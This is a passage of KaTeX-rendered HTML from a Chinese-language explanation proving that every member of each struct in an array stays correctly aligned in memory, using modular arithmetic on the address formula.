style="margin-right:0.3333em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p></p><ol><li><p>展开物理地址公式根据内存布局，第 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi></mrow><annotation encoding="application/x-tex">i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span> 个元素的第 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>j</mi></mrow><annotation encoding="application/x-tex">j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span></span></span></span> 个成员的地址为：<p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>A</mi><mi>d</mi><mi>d</mi><mi>r</mi><mo stretchy="false">(</mo><mi>i</mi><mo separator="true">,</mo><mi>j</mi><mo stretchy="false">)</mo><mo>=</mo><mi>P</mi><mo>+</mo><mo stretchy="false">(</mo><mi>i</mi><mo>×</mo><mi>S</mi><mi>i</mi><mi>z</mi><mi>e</mi><mo stretchy="false">)</mo><mo>+</mo><msub><mi>O</mi><mi>j</mi></msub></mrow><annotation encoding="application/x-tex">Addr(i, j) = P + (i \times Size) + O_j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">dd</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mopen">(</span><span class="mord mathnormal">i</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">i</span><span class="mord mathnormal">ze</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span></span></p></p></li><li><p>利用模运算性质拆解我们要计算 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mi>d</mi><mi>d</mi><mi>r</mi><mo stretchy="false">(</mo><mi>i</mi><mo separator="true">,</mo><mi>j</mi><mo stretchy="false">)</mo><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msub><mi>A</mi><mi>j</mi></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">Addr(i, j) \pmod{A_j}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">dd</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mopen">(</span><span class="mord mathnormal">i</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">)</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>：<p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>A</mi><mi>d</mi><mi>d</mi><mi>r</mi><mo stretchy="false">(</mo><mi>i</mi><mo separator="true">,</mo><mi>j</mi><mo stretchy="false">)</mo><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msub><mi>A</mi><mi>j</mi></msub><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mi>P</mi><mo>+</mo><mi>i</mi><mo>×</mo><mi>S</mi><mi>i</mi><mi>z</mi><mi>e</mi><mo>+</mo><msub><mi>O</mi><mi>j</mi></msub><mo stretchy="false">)</mo><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msub><mi>A</mi><mi>j</mi></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">Addr(i, j) \pmod{A_j} = (P + i \times Size + O_j) \pmod{A_j}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">dd</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mopen">(</span><span class="mord mathnormal">i</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">)</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7429em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">i</span><span class="mord mathnormal">ze</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p></p><p>根据模算术性质，可以拆分为：<p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo stretchy="false">(</mo><mi>P</mi><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msub><mi>A</mi><mi>j</mi></msub><mo stretchy="false">)</mo><mo>+</mo><mo stretchy="false">(</mo><mi>i</mi><mo>×</mo><mi>S</mi><mi>i</mi><mi>z</mi><mi>e</mi><mo stretchy="false">)</mo><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msub><mi>A</mi><mi>j</mi></msub><mo stretchy="false">)</mo><mo>+</mo><msub><mi>O</mi><mi>j</mi></msub><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msub><mi>A</mi><mi>j</mi></msub><mo stretchy="false">)</mo><mo stretchy="false">)</mo><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msub><mi>A</mi><mi>j</mi></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(P \pmod{A_j} + (i \times Size) \pmod{A_j} + O_j \pmod{A_j}) \pmod{A_j}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">i</span><span class="mord mathnormal">ze</span><span class="mclose">)</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">))</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p></p></li><li><p>证明每一项都为 0 证明 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msub><mi>A</mi><mi>j</mi></msub><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">P \pmod{A_j} = 0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>：</p><p>已知规则 2 规定 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi></mrow><annotation encoding="application/x-tex">P</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>A</mi><mrow><mi>m</mi><mi>a</mi><mi>x</mi></mrow></msub></mrow><annotation encoding="application/x-tex">A_{max}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 的倍数。</p><p>在计算机架构中，对齐要求 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex">A</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 永远是 2 的幂（1, 2, 4, 8, 16…）。</p><p>因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>A</mi><mrow><mi>m</mi><mi>a</mi><mi>x</mi></mrow></msub><mo>=</mo><mi>max</mi><mo>⁡</mo><mo stretchy="false">(</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>A</mi><mi>j</mi></msub><mo separator="true">,</mo><mo>…</mo><mtext> </mtext><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">A_{max} = \max(\dots, A_j, \dots)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mop">max</span><span class="mopen">(</span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mclose">)</span></span></span></span>，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>A</mi><mrow><mi>m</mi><mi>a</mi><mi>x</mi></mrow></msub></mrow><annotation encoding="application/x-tex">A_{max}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 必然能被 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>A</mi><mi>j</mi></msub></mrow><annotation encoding="application/x-tex">A_j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span> 整除。</p><p>既然 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi></mrow><annotation encoding="application/x-tex">P</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>A</mi><mrow><mi>m</mi><mi>a</mi><mi>x</mi></mrow></msub></mrow><annotation encoding="application/x-tex">A_{max}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 的倍数，那么 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi></mrow><annotation encoding="application/x-tex">P</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span></span> 也一定是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>A</mi><mi>j</mi></msub></mrow><annotation encoding="application/x-tex">A_j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span> 的倍数。</p><p>故：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mo>≡</mo><mn>0</mn><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msub><mi>A</mi><mi>j</mi></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">P \equiv 0 \pmod{A_j}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>。</p></li><li><p>证明 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>i</mi><mo>×</mo><mi>S</mi><mi>i</mi><mi>z</mi><mi>e</mi><mo stretchy="false">)</mo><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msub><mi>A</mi><mi>j</mi></msub><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">(i \times Size) \pmod{A_j} = 0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span 